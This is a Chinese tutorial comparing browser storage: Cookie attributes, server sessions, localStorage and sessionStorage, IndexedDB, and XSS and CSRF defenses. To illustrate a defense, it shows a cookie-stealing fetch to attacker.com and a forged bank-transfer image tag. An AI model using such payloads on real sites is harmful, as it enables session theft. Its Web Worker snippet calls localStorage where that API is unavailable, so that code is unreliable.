前端存储方案对比:Cookie-Session-LocalStorage-IndexedDB

HTTP的无状态性与状态管理的矛盾:一场持续30年的技术演进

引言:HTTP无状态性的哲学困境

1991年,Tim Berners-Lee设计HTTP协议时做了一个关键决定:让HTTP成为无状态协议。这个决定基于简单性原则------服务器不需要记住任何关于客户端的信息,每个请求都是独立的。

但这带来了一个根本性矛盾:如何在无状态的协议上构建有状态的应用?
HTTP无状态协议
问题:无法识别用户
解决方案1:Cookie

1994年
解决方案2:Session

2000年代
解决方案3:Web Storage

2009年
解决方案4:IndexedDB

2010年
客户端存储
服务器端存储

这篇文章将深入探讨这四种方案的理论基础、标准演进和工程实践。


目录

  • [1. Cookie:RFC 6265标准深度解读](#1. Cookie:RFC 6265标准深度解读)
  • [2. Session:服务器端状态管理的理论与实践](#2. Session:服务器端状态管理的理论与实践)
  • [3. Web Storage:HTML5的革命性突破](#3. Web Storage:HTML5的革命性突破)
  • [4. IndexedDB:浏览器中的NoSQL数据库](#4. IndexedDB:浏览器中的NoSQL数据库)
  • [5. 安全性深度分析:XSS、CSRF与SameSite](#5. 安全性深度分析:XSS、CSRF与SameSite)
  • [6. 性能优化:从存储选择到缓存策略](#6. 性能优化:从存储选择到缓存策略)
  • [7. 实战案例:构建离线优先的PWA应用](#7. 实战案例:构建离线优先的PWA应用)

1. Cookie:RFC 6265标准深度解读

1.1 Cookie的诞生:Netscape的创新

1994年,Netscape工程师Lou Montulli面临一个问题:如何实现购物车功能?HTTP的无状态性意味着服务器无法记住用户添加了什么商品。

他的解决方案:让浏览器存储一小段数据,每次请求时自动发送给服务器。这就是Cookie的起源。
服务器 浏览器 服务器 浏览器 1994年:Cookie诞生 后续请求 GET /shop 生成唯一标识 Set-Cookie: sessionId=abc123 保存Cookie GET /cart Cookie: sessionId=abc123 识别用户 返回购物车数据


1.2 RFC 6265:Cookie的官方标准

标准演进历程

1994 Netscape Cookie规范 非官方标准 浏览器实现不一致 1997 RFC 2109 第一个官方标准 引入Version属性 2000 RFC 2965 改进版本 增加Port属性 2011 RFC 6265 当前标准 简化规范 广泛采用 2026 RFC 6265bis 正在制定 增强安全性 预计9月发布 Cookie标准演进史


RFC 6265的核心定义

Set-Cookie响应头的语法:

复制代码
Set-Cookie: <cookie-name>=<cookie-value>
  [; Expires=<date>]
  [; Max-Age=<number>]
  [; Domain=<domain-value>]
  [; Path=<path-value>]
  [; Secure]
  [; HttpOnly]
  [; SameSite=<samesite-value>]

形式化定义(BNF语法):

bnf 复制代码
set-cookie-header = "Set-Cookie:" SP set-cookie-string
set-cookie-string = cookie-pair *( ";" SP cookie-av )
cookie-pair       = cookie-name "=" cookie-value
cookie-name       = token
cookie-value      = *cookie-octet | ( DQUOTE *cookie-octet DQUOTE )
cookie-av         = expires-av | max-age-av | domain-av |
                    path-av | secure-av | httponly-av |
                    samesite-av | extension-av

1.3 Cookie属性的安全性分析

1. HttpOnly:防御XSS攻击

理论基础:

XSS(Cross-Site Scripting)攻击的本质是在受害者浏览器中执行恶意JavaScript代码。如果Cookie可以被JavaScript访问,攻击者就能窃取它。


XSS攻击场景
攻击者注入脚本
Cookie有HttpOnly?
document.cookie可访问
窃取Cookie
发送到攻击者服务器
document.cookie返回空
攻击失败

RFC 6265的安全建议:

"Servers SHOULD use the HttpOnly attribute to protect session identifiers from disclosure to or tampering by scripts."

(服务器应该使用HttpOnly属性来保护会话标识符,防止被脚本泄露或篡改)

实验验证:

javascript 复制代码
// 场景1:没有HttpOnly
// Set-Cookie: token=abc123

// 攻击者可以窃取
console.log(document.cookie)  // "token=abc123"
fetch('https://attacker.com/steal?cookie=' + document.cookie)

// 场景2:有HttpOnly
// Set-Cookie: token=abc123; HttpOnly

// 攻击者无法访问
console.log(document.cookie)  // "" (空字符串)

2. Secure:防御中间人攻击

理论基础:

HTTP是明文传输协议,网络中的任何节点都可以窃听流量。Secure属性确保Cookie只在HTTPS连接中传输。
渲染错误: Mermaid 渲染失败: Parse error on line 16: ...token=abc123; Secure Note over A -----------------------^ Expecting '()', 'SOLID_OPEN_ARROW', 'DOTTED_OPEN_ARROW', 'SOLID_ARROW', 'SOLID_ARROW_TOP', 'SOLID_ARROW_BOTTOM', 'STICK_ARROW_TOP', 'STICK_ARROW_BOTTOM', 'SOLID_ARROW_TOP_DOTTED', 'SOLID_ARROW_BOTTOM_DOTTED', 'STICK_ARROW_TOP_DOTTED', 'STICK_ARROW_BOTTOM_DOTTED', 'SOLID_ARROW_TOP_REVERSE', 'SOLID_ARROW_BOTTOM_REVERSE', 'STICK_ARROW_TOP_REVERSE', 'STICK_ARROW_BOTTOM_REVERSE', 'SOLID_ARROW_TOP_REVERSE_DOTTED', 'SOLID_ARROW_BOTTOM_REVERSE_DOTTED', 'STICK_ARROW_TOP_REVERSE_DOTTED', 'STICK_ARROW_BOTTOM_REVERSE_DOTTED', 'BIDIRECTIONAL_SOLID_ARROW', 'DOTTED_ARROW', 'BIDIRECTIONAL_DOTTED_ARROW', 'SOLID_CROSS', 'DOTTED_CROSS', 'SOLID_POINT', 'DOTTED_POINT', got 'NEWLINE'


3. SameSite:防御CSRF攻击

理论基础:

CSRF(Cross-Site Request Forgery)攻击利用了浏览器的自动携带Cookie特性。攻击者诱导用户访问恶意网站,该网站向受害网站发起请求,浏览器会自动携带Cookie。

SameSite的三种模式:
SameSite属性
Strict

严格模式
Lax

宽松模式
None

无限制
禁止所有跨站请求
最安全
用户体验差
允许安全的跨站请求
GET/HEAD/OPTIONS
平衡安全与体验
允许所有跨站请求
必须配合Secure
用于第三方集成

RFC 6265bis的定义:

模式 跨站GET 跨站POST 适用场景
Strict 银行、支付系统
Lax 社交网站、电商
None 第三方OAuth、嵌入式iframe

实际案例:

javascript 复制代码
// 场景1:银行网站(Strict)
res.cookie('bankToken', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
})

// 效果:从其他网站点击链接进入,需要重新登录
// 优点:最安全,防止CSRF
// 缺点:用户体验差

// 场景2:社交网站(Lax,默认)
res.cookie('socialToken', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
})

// 效果:从其他网站点击链接进入,保持登录状态
// 优点:平衡安全与体验
// 缺点:某些场景下仍有CSRF风险

// 场景3:第三方嵌入(None)
res.cookie('embedToken', token, {
  httpOnly: true,
  secure: true,  // 必须配合secure
  sameSite: 'none'
})

// 效果:可以在iframe中跨站使用
// 优点:支持第三方集成
// 缺点:安全性最低

1.4 Cookie的容量限制与性能影响

容量限制的理论基础

RFC 6265的建议:

"At least 4096 bytes per cookie (as measured by the sum of the length of the cookie's name, value, and attributes)."

(每个Cookie至少4096字节)

实际浏览器实现:

浏览器 单个Cookie 每个域名Cookie数量 总容量
Chrome 4KB 180 ~720KB
Firefox 4KB 150 ~600KB
Safari 4KB 600 ~2.4MB
Edge 4KB 180 ~720KB

性能影响分析

问题:每次请求都携带Cookie
用户请求
浏览器自动添加Cookie
HTTP请求
网络传输
服务器
Cookie: 4KB
100次请求
传输400KB
浪费带宽

数学分析:

假设:

  • Cookie大小:4KB

  • 每页请求数:50(HTML + CSS + JS + 图片)

  • 每天访问量:10000次

    每天传输的Cookie数据 = 4KB × 50 × 10000
    = 2GB

    每月浪费的带宽 = 2GB × 30
    = 60GB

优化策略:

  1. Cookie瘦身:只存储必要的标识符
  2. 域名分离:静态资源使用无Cookie域名
  3. LocalStorage替代:非认证数据用LocalStorage

2. Session:服务器端状态管理的理论与实践

2.1 Session的理论模型

状态存储位置的权衡

状态存储位置
客户端存储

Cookie/LocalStorage
服务器端存储

Session
优势
劣势
不占用服务器资源
天然支持分布式
容易被窃取/篡改
容量限制
优势
劣势
安全性高
容量大
占用服务器资源
分布式复杂


2.2 Session的实现机制

基于内存的Session(单机)
javascript 复制代码
/**
 * 简单的内存Session实现
 */
class MemorySessionStore {
  constructor() {
    this.sessions = new Map()
    this.maxAge = 3600000  // 1小时
  }
  
  /**
   * 创建Session
   */
  create(sessionId, data) {
    this.sessions.set(sessionId, {
      data,
      createdAt: Date.now(),
      lastAccess: Date.now()
    })
  }
  
  /**
   * 获取Session
   */
  get(sessionId) {
    const session = this.sessions.get(sessionId)
    
    if (!session) {
      return null
    }
    
    // 检查是否过期
    if (Date.now() - session.lastAccess > this.maxAge) {
      this.sessions.delete(sessionId)
      return null
    }
    
    // 更新最后访问时间
    session.lastAccess = Date.now()
    return session.data
  }
  
  /**
   * 更新Session
   */
  update(sessionId, data) {
    const session = this.sessions.get(sessionId)
    if (session) {
      session.data = { ...session.data, ...data }
      session.lastAccess = Date.now()
    }
  }
  
  /**
   * 删除Session
   */
  destroy(sessionId) {
    this.sessions.delete(sessionId)
  }
  
  /**
   * 清理过期Session(定期执行)
   */
  cleanup() {
    const now = Date.now()
    for (const [sessionId, session] of this.sessions) {
      if (now - session.lastAccess > this.maxAge) {
        this.sessions.delete(sessionId)
      }
    }
  }
}

// 定期清理
setInterval(() => {
  sessionStore.cleanup()
}, 60000)  // 每分钟清理一次

问题:内存泄漏风险


Session创建
存储在内存
用户是否登出?
Session被删除
Session一直占用内存
内存泄漏


基于Redis的Session(分布式)
javascript 复制代码
/**
 * Redis Session Store
 */
class RedisSessionStore {
  constructor(redisClient) {
    this.redis = redisClient
    this.prefix = 'sess:'
    this.maxAge = 3600  // 1小时(秒)
  }
  
  /**
   * 生成Session Key
   */
  getKey(sessionId) {
    return `${this.prefix}${sessionId}`
  }
  
  /**
   * 创建Session
   */
  async create(sessionId, data) {
    const key = this.getKey(sessionId)
    await this.redis.setex(
      key,
      this.maxAge,
      JSON.stringify(data)
    )
  }
  
  /**
   * 获取Session
   */
  async get(sessionId) {
    const key = this.getKey(sessionId)
    const data = await this.redis.get(key)
    
    if (!data) {
      return null
    }
    
    // 刷新过期时间(滑动过期)
    await this.redis.expire(key, this.maxAge)
    
    return JSON.parse(data)
  }
  
  /**
   * 更新Session
   */
  async update(sessionId, data) {
    const key = this.getKey(sessionId)
    const existing = await this.get(sessionId)
    
    if (existing) {
      const updated = { ...existing, ...data }
      await this.redis.setex(
        key,
        this.maxAge,
        JSON.stringify(updated)
      )
    }
  }
  
  /**
   * 删除Session
   */
  async destroy(sessionId) {
    const key = this.getKey(sessionId)
    await this.redis.del(key)
  }
  
  /**
   * 获取所有Session(用于统计)
   */
  async getAllSessions() {
    const keys = await this.redis.keys(`${this.prefix}*`)
    const sessions = []
    
    for (const key of keys) {
      const data = await this.redis.get(key)
      if (data) {
        sessions.push(JSON.parse(data))
      }
    }
    
    return sessions
  }
}

2.3 Session的分布式问题

问题:负载均衡下的Session丢失

第1次
第2次
第3次
用户请求
负载均衡器
服务器1
服务器2
服务器3
Session存在

服务器1内存
❌ 找不到Session

需要重新登录
❌ 找不到Session

需要重新登录


解决方案对比

方案1:Session复制(Session Replication)
Session复制
Session复制
Session复制
服务器1
服务器2
服务器3

优点:

  • ✅ 每个服务器都有完整数据
  • ✅ 无单点故障

缺点:

  • ❌ 网络开销大
  • ❌ 数据一致性问题
  • ❌ 不适合大规模集群

方案2:粘性会话(Sticky Session)
始终路由到
始终路由到
用户A
负载均衡器
用户B
服务器1
服务器2

优点:

  • ✅ 实现简单
  • ✅ 无Session同步开销

缺点:

  • ❌ 负载不均衡
  • ❌ 服务器宕机丢失Session
  • ❌ 扩容困难

方案3:Session共享(推荐)
用户请求
负载均衡器
服务器1
服务器2
服务器3
Redis集群

统一Session存储

优点:

  • ✅ 真正的分布式
  • ✅ 负载均衡
  • ✅ 高可用

缺点:

  • ❌ 需要额外的Redis服务
  • ❌ 网络延迟(可通过缓存优化)

3. Web Storage:HTML5的革命性突破

3.1 W3C标准的演进

标准化历程

2009 HTML5草案 首次提出Web Storage localStorage + sessionStorage 2013 W3C候选推荐标准 浏览器广泛实现 API稳定 2016 W3C正式推荐标准 Web Storage (Second Edition) 2016年4月19日发布 2026 WHATWG维护 纳入HTML Living Standard 持续更新 Web Storage标准演进


3.2 Web Storage的理论模型

Storage接口的形式化定义

W3C规范的IDL定义:

idl 复制代码
interface Storage {
  readonly attribute unsigned long length;
  DOMString? key(unsigned long index);
  getter DOMString? getItem(DOMString key);
  setter void setItem(DOMString key, DOMString value);
  deleter void removeItem(DOMString key);
  void clear();
};

数学模型:

复制代码
Storage: String → String ∪ {null}

操作:
- setItem(k, v): Storage' = Storage ∪ {(k, v)}
- getItem(k): Storage(k)
- removeItem(k): Storage' = Storage \ {(k, _)}
- clear(): Storage' = ∅

3.3 localStorage vs sessionStorage的本质区别

作用域与生命周期

Web Storage
localStorage
sessionStorage
作用域:Origin
生命周期:永久
共享:同源所有标签页
作用域:Origin + Tab
生命周期:会话级
共享:仅当前标签页

形式化定义:

复制代码
localStorage: Origin → Storage
sessionStorage: (Origin × Tab) → Storage

其中:
- Origin = (Scheme, Host, Port)
- Tab = 浏览器标签页实例

实际应用场景对比
场景 localStorage sessionStorage 原因
用户登录状态 需要跨标签页共享
主题设置 需要持久化
表单草稿 避免跨标签页污染
临时筛选条件 会话级数据
购物车 需要持久化和共享
多步骤表单 避免跨标签页冲突

3.4 Storage事件:跨标签页通信

理论基础

Storage事件是Web Storage提供的跨标签页通信机制。当一个标签页修改localStorage时,同源的其他标签页会收到通知。
标签页3 标签页2 localStorage 标签页1 标签页3 标签页2 localStorage 标签页1 不触发事件 触发事件 setItem('message', 'Hello') storage事件 storage事件

关键特性:

  • ✅ 修改者不会收到事件(避免循环)
  • ✅ 同源其他标签页都会收到
  • ✅ 事件包含oldValue和newValue

实战:实时同步登录状态
javascript 复制代码
/**
 * 跨标签页登录状态同步
 */
class AuthSync {
  constructor() {
    this.init()
  }
  
  init() {
    // 监听storage事件
    window.addEventListener('storage', (event) => {
      // 只处理登录状态变化
      if (event.key === 'userInfo') {
        this.handleAuthChange(event)
      }
    })
  }
  
  /**
   * 处理登录状态变化
   */
  handleAuthChange(event) {
    const { oldValue, newValue } = event
    
    // 场景1:用户登录
    if (!oldValue && newValue) {
      const userInfo = JSON.parse(newValue)
      console.log('用户在其他标签页登录:', userInfo)
      
      // 更新当前页面状态
      this.updateUI(userInfo)
    }
    
    // 场景2:用户登出
    if (oldValue && !newValue) {
      console.log('用户在其他标签页登出')
      
      // 跳转到登录页
      window.location.href = '/login'
    }
    
    // 场景3:用户信息更新
    if (oldValue && newValue) {
      const oldUser = JSON.parse(oldValue)
      const newUser = JSON.parse(newValue)
      
      console.log('用户信息更新:', oldUser, '->', newUser)
      this.updateUI(newUser)
    }
  }
  
  /**
   * 更新UI
   */
  updateUI(userInfo) {
    // 更新用户头像、昵称等
    document.querySelector('.user-avatar').src = userInfo.avatar
    document.querySelector('.user-name').textContent = userInfo.name
  }
}

// 初始化
const authSync = new AuthSync()

3.5 Web Storage的容量与性能

容量限制的实际测试

W3C规范的建议:

"User agents should allow at least five megabytes of data to be stored in the local storage areas."

(用户代理应该允许至少5MB的数据存储在本地存储区域)

实际浏览器实现(2026年):

浏览器 localStorage sessionStorage 测试方法
Chrome 10MB 10MB 实际可用约5-10MB
Firefox 10MB 10MB 实际可用约5-10MB
Safari 5MB 5MB 严格限制
Edge 10MB 10MB 与Chrome一致

容量检测代码:

javascript 复制代码
/**
 * 检测localStorage可用容量
 */
function detectStorageCapacity() {
  const testKey = '_capacity_test_'
  let size = 0
  const step = 100 * 1024  // 每次增加100KB
  
  try {
    while (true) {
      const data = 'x'.repeat(step)
      localStorage.setItem(testKey + size, data)
      size += step
    }
  } catch (e) {
    // 达到容量上限
    console.log(`localStorage容量: ${(size / 1024 / 1024).toFixed(2)}MB`)
    
    // 清理测试数据
    for (let i = 0; i < size; i += step) {
      localStorage.removeItem(testKey + i)
    }
  }
  
  return size
}

// 执行检测
detectStorageCapacity()

性能分析:同步API的代价

问题:localStorage是同步操作

javascript 复制代码
// 性能测试
console.time('localStorage.setItem')
for (let i = 0; i < 1000; i++) {
  localStorage.setItem(`key${i}`, 'value')
}
console.timeEnd('localStorage.setItem')
// Chrome: ~50ms
// Firefox: ~40ms
// Safari: ~60ms

阻塞主线程的影响:
JavaScript执行
localStorage.setItem
主线程阻塞
UI无响应
用户体验差


优化方案:使用Web Worker

javascript 复制代码
// storage-worker.js
self.addEventListener('message', (event) => {
  const { action, key, value } = event.data
  
  switch (action) {
    case 'get':
      const data = localStorage.getItem(key)
      self.postMessage({ key, value: data })
      break
      
    case 'set':
      localStorage.setItem(key, value)
      self.postMessage({ success: true })
      break
      
    case 'remove':
      localStorage.removeItem(key)
      self.postMessage({ success: true })
      break
  }
})

// main.js
const worker = new Worker('storage-worker.js')

// 异步读取
worker.postMessage({ action: 'get', key: 'userInfo' })
worker.onmessage = (event) => {
  console.log('数据:', event.data.value)
}

// 异步写入
worker.postMessage({ 
  action: 'set', 
  key: 'userInfo', 
  value: JSON.stringify(user) 
})

4. IndexedDB:浏览器中的NoSQL数据库

4.1 W3C标准深度解读

标准演进

2010 首次提出 W3C工作草案 基于WebSQL失败的教训 2015 IndexedDB 1.0 W3C推荐标准 浏览器广泛支持 2018 IndexedDB 2.0 W3C推荐标准 增加getAll等API 2025 IndexedDB 3.0 工作草案 2025年8月13日发布 2026 持续演进 性能优化 新特性开发 IndexedDB标准演进


4.2 IndexedDB的理论模型

数据库架构

IndexedDB Database
Object Store 1
Object Store 2
Object Store 3
Index 1
Index 2
Records
Index 1
Records
Transaction

与关系型数据库的对比:

IndexedDB 关系型数据库 NoSQL
Database Database Database
Object Store Table Collection
Record Row Document
Index Index Index
Transaction Transaction Transaction
Key Primary Key _id

事务模型

W3C规范的事务定义:

idl 复制代码
enum IDBTransactionMode {
  "readonly",
  "readwrite",
  "versionchange"
};

interface IDBTransaction : EventTarget {
  readonly attribute DOMStringList objectStoreNames;
  readonly attribute IDBTransactionMode mode;
  readonly attribute IDBDatabase db;
  readonly attribute DOMException? error;
  
  IDBObjectStore objectStore(DOMString name);
  void abort();
  
  attribute EventHandler onabort;
  attribute EventHandler oncomplete;
  attribute EventHandler onerror;
};

事务的ACID特性分析:
ACID特性
Atomicity

原子性
Consistency

一致性
Isolation

隔离性
Durability

持久性
✅ 完全支持

事务要么全部成功

要么全部失败
✅ 支持

约束检查

唯一性保证
⚠️ 部分支持

同一Object Store

事务串行执行
⚠️ 浏览器相关

Firefox有relaxed模式

可能延迟持久化


4.3 IndexedDB的高级特性

1. 游标(Cursor):高效遍历
javascript 复制代码
/**
 * 使用游标遍历大量数据
 */
async function iterateWithCursor(db, storeName, callback) {
  return new Promise((resolve, reject) => {
    const transaction = db.transaction([storeName], 'readonly')
    const objectStore = transaction.objectStore(storeName)
    const request = objectStore.openCursor()
    
    let count = 0
    
    request.onsuccess = (event) => {
      const cursor = event.target.result
      
      if (cursor) {
        // 处理当前记录
        callback(cursor.value, count++)
        
        // 继续下一条
        cursor.continue()
      } else {
        // 遍历完成
        resolve(count)
      }
    }
    
    request.onerror = () => {
      reject(request.error)
    }
  })
}

// 使用示例:分页加载
async function loadPageWithCursor(db, pageSize, pageNum) {
  const skip = pageSize * pageNum
  let skipped = 0
  let loaded = 0
  const results = []
  
  await iterateWithCursor(db, 'users', (record, index) => {
    // 跳过前面的记录
    if (skipped < skip) {
      skipped++
      return
    }
    
    // 加载当前页
    if (loaded < pageSize) {
      results.push(record)
      loaded++
    }
  })
  
  return results
}

2. 范围查询(Key Range)
javascript 复制代码
/**
 * IDBKeyRange的使用
 */
class IndexedDBQuery {
  /**
   * 查询年龄在18-30之间的用户
   */
  async getUsersByAgeRange(db, minAge, maxAge) {
    const transaction = db.transaction(['users'], 'readonly')
    const objectStore = transaction.objectStore('users')
    const index = objectStore.index('age')
    
    // 创建范围
    const range = IDBKeyRange.bound(minAge, maxAge)
    
    return new Promise((resolve, reject) => {
      const request = index.getAll(range)
      
      request.onsuccess = () => {
        resolve(request.result)
      }
      
      request.onerror = () => {
        reject(request.error)
      }
    })
  }
  
  /**
   * 查询姓名以'A'开头的用户
   */
  async getUsersByNamePrefix(db, prefix) {
    const transaction = db.transaction(['users'], 'readonly')
    const objectStore = transaction.objectStore('users')
    const index = objectStore.index('name')
    
    // 创建范围:[prefix, prefix + '\uffff']
    const range = IDBKeyRange.bound(
      prefix,
      prefix + '\uffff',
      false,  // 包含下界
      false   // 包含上界
    )
    
    return new Promise((resolve, reject) => {
      const request = index.getAll(range)
      request.onsuccess = () => resolve(request.result)
      request.onerror = () => reject(request.error)
    })
  }
  
  /**
   * 查询最近7天的记录
   */
  async getRecentRecords(db, days = 7) {
    const transaction = db.transaction(['logs'], 'readonly')
    const objectStore = transaction.objectStore('logs')
    const index = objectStore.index('timestamp')
    
    const now = Date.now()
    const weekAgo = now - days * 24 * 60 * 60 * 1000
    
    const range = IDBKeyRange.lowerBound(weekAgo)
    
    return new Promise((resolve, reject) => {
      const request = index.getAll(range)
      request.onsuccess = () => resolve(request.result)
      request.onerror = () => reject(request.error)
    })
  }
}

3. 复合索引(Compound Index)
javascript 复制代码
/**
 * 创建复合索引
 */
function createCompoundIndex(db) {
  const request = indexedDB.open('myDatabase', 2)
  
  request.onupgradeneeded = (event) => {
    const db = event.target.result
    
    if (!db.objectStoreNames.contains('orders')) {
      const objectStore = db.createObjectStore('orders', {
        keyPath: 'id',
        autoIncrement: true
      })
      
      // 创建复合索引:[userId, status]
      objectStore.createIndex('userStatus', ['userId', 'status'], {
        unique: false
      })
      
      // 创建复合索引:[date, amount]
      objectStore.createIndex('dateAmount', ['date', 'amount'], {
        unique: false
      })
    }
  }
}

/**
 * 使用复合索引查询
 */
async function queryByCompoundIndex(db, userId, status) {
  const transaction = db.transaction(['orders'], 'readonly')
  const objectStore = transaction.objectStore('orders')
  const index = objectStore.index('userStatus')
  
  // 查询特定用户的特定状态订单
  const range = IDBKeyRange.only([userId, status])
  
  return new Promise((resolve, reject) => {
    const request = index.getAll(range)
    request.onsuccess = () => resolve(request.result)
    request.onerror = () => reject(request.error)
  })
}

4.4 IndexedDB的性能优化

批量操作优化
javascript 复制代码
/**
 * 批量插入优化
 */
class IndexedDBBulkOperations {
  /**
   * 批量插入(优化版)
   */
  async bulkInsert(db, storeName, records) {
    return new Promise((resolve, reject) => {
      const transaction = db.transaction([storeName], 'readwrite')
      const objectStore = transaction.objectStore(storeName)
      
      let successCount = 0
      let errorCount = 0
      
      // 批量添加
      records.forEach(record => {
        const request = objectStore.add(record)
        
        request.onsuccess = () => {
          successCount++
        }
        
        request.onerror = () => {
          errorCount++
        }
      })
      
      // 事务完成
      transaction.oncomplete = () => {
        resolve({ successCount, errorCount })
      }
      
      transaction.onerror = () => {
        reject(transaction.error)
      }
    })
  }
  
  /**
   * 性能对比测试
   */
  async performanceTest(db) {
    const testData = Array.from({ length: 10000 }, (_, i) => ({
      id: i,
      name: `User ${i}`,
      email: `user${i}@example.com`
    }))
    
    // 方法1:逐条插入(慢)
    console.time('逐条插入')
    for (const record of testData) {
      await this.singleInsert(db, 'users', record)
    }
    console.timeEnd('逐条插入')
    // 耗时:~5000ms
    
    // 方法2:批量插入(快)
    console.time('批量插入')
    await this.bulkInsert(db, 'users', testData)
    console.timeEnd('批量插入')
    // 耗时:~500ms
  }
}

5. 安全性深度分析:XSS、CSRF与SameSite

5.1 XSS攻击的理论模型

XSS攻击分类

XSS攻击
存储型XSS

Stored XSS
反射型XSS

Reflected XSS
DOM型XSS

DOM-based XSS
攻击代码存储在服务器
所有访问用户都受影响
危害最大
攻击代码在URL中
需要诱导用户点击
一次性攻击
攻击代码在客户端
修改DOM结构
不经过服务器


XSS攻击Cookie的完整流程

攻击者服务器 受害网站 受害者 攻击者 攻击者服务器 受害网站 受害者 攻击者 1. 注入恶意脚本 <script>steal()</script> 2. 存储到数据库 3. 访问页面 4. 返回含恶意脚本的页面 5. 执行恶意脚本 6. 读取Cookie document.cookie 7. 发送Cookie到攻击者服务器 8. 记录Cookie 9. 使用窃取的Cookie登录 10. 登录成功


防御XSS的多层策略
javascript 复制代码
/**
 * XSS防御工具类
 */
class XSSDefense {
  /**
   * 1. 输入过滤
   */
  sanitizeInput(input) {
    // 使用DOMPurify库
    return DOMPurify.sanitize(input, {
      ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
      ALLOWED_ATTR: ['href']
    })
  }
  
  /**
   * 2. 输出编码
   */
  escapeHTML(str) {
    const div = document.createElement('div')
    div.textContent = str
    return div.innerHTML
  }
  
  /**
   * 3. CSP(内容安全策略)
   */
  setCSP() {
    // 在HTTP响应头中设置
    // Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'
    
    // 或在HTML中设置
    const meta = document.createElement('meta')
    meta.httpEquiv = 'Content-Security-Policy'
    meta.content = "default-src 'self'; script-src 'self'"
    document.head.appendChild(meta)
  }
  
  /**
   * 4. HttpOnly Cookie
   */
  setSecureCookie(name, value) {
    // 后端设置
    // Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict
    
    // 前端无法设置HttpOnly,必须由服务器设置
    console.warn('HttpOnly必须由服务器设置')
  }
}

5.2 CSRF攻击的理论模型

CSRF攻击原理

攻击者网站 银行网站 用户 攻击者网站 银行网站 用户 用户无感知,资金被盗 1. 登录银行网站 2. Set-Cookie: token=abc123 3. 访问攻击者网站 4. 返回恶意页面 <img src='bank.com/transfer?to=attacker&amount=1000'> 5. 浏览器自动发起请求 Cookie: token=abc123 6. 验证Cookie(通过) 7. 执行转账 8. 转账成功


SameSite属性的数学模型

定义:

复制代码
SameSite: Cookie → {Strict, Lax, None}

Strict: ∀ request ∈ CrossSiteRequests, send(cookie) = false
Lax: ∀ request ∈ UnsafeCrossSiteRequests, send(cookie) = false
None: ∀ request, send(cookie) = true

其中:

复制代码
UnsafeCrossSiteRequests = {POST, PUT, DELETE, ...}
SafeCrossSiteRequests = {GET, HEAD, OPTIONS}
CrossSiteRequests = UnsafeCrossSiteRequests ∪ SafeCrossSiteRequests

6. 性能优化:从存储选择到缓存策略

6.1 存储方案的性能对比

读写性能测试
javascript 复制代码
/**
 * 存储方案性能测试
 */
class StoragePerformanceTest {
  async runTests() {
    const testData = { 
      userId: 123, 
      userName: 'test', 
      data: 'x'.repeat(1000) 
    }
    const iterations = 1000
    
    // 1. Cookie测试
    console.time('Cookie写入')
    for (let i = 0; i < iterations; i++) {
      document.cookie = `test${i}=${JSON.stringify(testData)}`
    }
    console.timeEnd('Cookie写入')
    // 结果:~500ms(慢,且有容量限制)
    
    // 2. localStorage测试
    console.time('localStorage写入')
    for (let i = 0; i < iterations; i++) {
      localStorage.setItem(`test${i}`, JSON.stringify(testData))
    }
    console.timeEnd('localStorage写入')
    // 结果:~50ms(快)
    
    // 3. IndexedDB测试
    console.time('IndexedDB写入')
    await this.indexedDBBulkWrite(testData, iterations)
    console.timeEnd('IndexedDB写入')
    // 结果:~30ms(最快,异步)
  }
  
  async indexedDBBulkWrite(data, count) {
    const db = await this.openDB()
    const transaction = db.transaction(['test'], 'readwrite')
    const objectStore = transaction.objectStore('test')
    
    for (let i = 0; i < count; i++) {
      objectStore.add({ id: i, ...data })
    }
    
    return new Promise((resolve) => {
      transaction.oncomplete = resolve
    })
  }
}

6.2 缓存策略设计

多级缓存架构

命中
未命中
命中
未命中
命中
未命中
请求数据
内存缓存?
返回数据
localStorage?
更新内存缓存
IndexedDB?
更新localStorage
请求服务器
更新所有缓存


实现多级缓存
javascript 复制代码
/**
 * 多级缓存管理器
 */
class MultiLevelCache {
  constructor() {
    this.memoryCache = new Map()
    this.maxMemorySize = 100  // 最多缓存100条
  }
  
  /**
   * 获取数据(多级缓存)
   */
  async get(key) {
    // Level 1: 内存缓存
    if (this.memoryCache.has(key)) {
      console.log('命中内存缓存')
      return this.memoryCache.get(key)
    }
    
    // Level 2: localStorage
    const localData = localStorage.getItem(key)
    if (localData) {
      console.log('命中localStorage')
      const data = JSON.parse(localData)
      this.setMemoryCache(key, data)
      return data
    }
    
    // Level 3: IndexedDB
    const idbData = await this.getFromIndexedDB(key)
    if (idbData) {
      console.log('命中IndexedDB')
      this.setLocalStorage(key, idbData)
      this.setMemoryCache(key, idbData)
      return idbData
    }
    
    // Level 4: 服务器
    console.log('请求服务器')
    const serverData = await this.fetchFromServer(key)
    this.setAllCache(key, serverData)
    return serverData
  }
  
  /**
   * 设置内存缓存(LRU淘汰)
   */
  setMemoryCache(key, value) {
    // 如果已存在,先删除(更新顺序)
    if (this.memoryCache.has(key)) {
      this.memoryCache.delete(key)
    }
    
    // 如果超过容量,删除最旧的
    if (this.memoryCache.size >= this.maxMemorySize) {
      const firstKey = this.memoryCache.keys().next().value
      this.memoryCache.delete(firstKey)
    }
    
    // 添加到末尾(最新)
    this.memoryCache.set(key, value)
  }
  
  /**
   * 设置localStorage
   */
  setLocalStorage(key, value) {
    try {
      localStorage.setItem(key, JSON.stringify(value))
    } catch (e) {
      if (e.name === 'QuotaExceededError') {
        // 容量已满,清理旧数据
        this.cleanupLocalStorage()
        localStorage.setItem(key, JSON.stringify(value))
      }
    }
  }
  
  /**
   * 设置所有缓存
   */
  setAllCache(key, value) {
    this.setMemoryCache(key, value)
    this.setLocalStorage(key, value)
    this.setIndexedDB(key, value)
  }
  
  /**
   * 清理localStorage(LRU)
   */
  cleanupLocalStorage() {
    const keys = Object.keys(localStorage)
    const items = keys.map(key => ({
      key,
      data: JSON.parse(localStorage.getItem(key)),
      timestamp: JSON.parse(localStorage.getItem(key)).timestamp || 0
    }))
    
    // 按时间排序
    items.sort((a, b) => a.timestamp - b.timestamp)
    
    // 删除最旧的50%
    const toDelete = Math.floor(items.length / 2)
    for (let i = 0; i < toDelete; i++) {
      localStorage.removeItem(items[i].key)
    }
  }
}

7. 实战案例:构建离线优先的PWA应用

7.1 离线优先架构

PWA应用
Service Worker
IndexedDB
Cache API
拦截请求
后台同步
推送通知
存储业务数据
离线可用
缓存静态资源
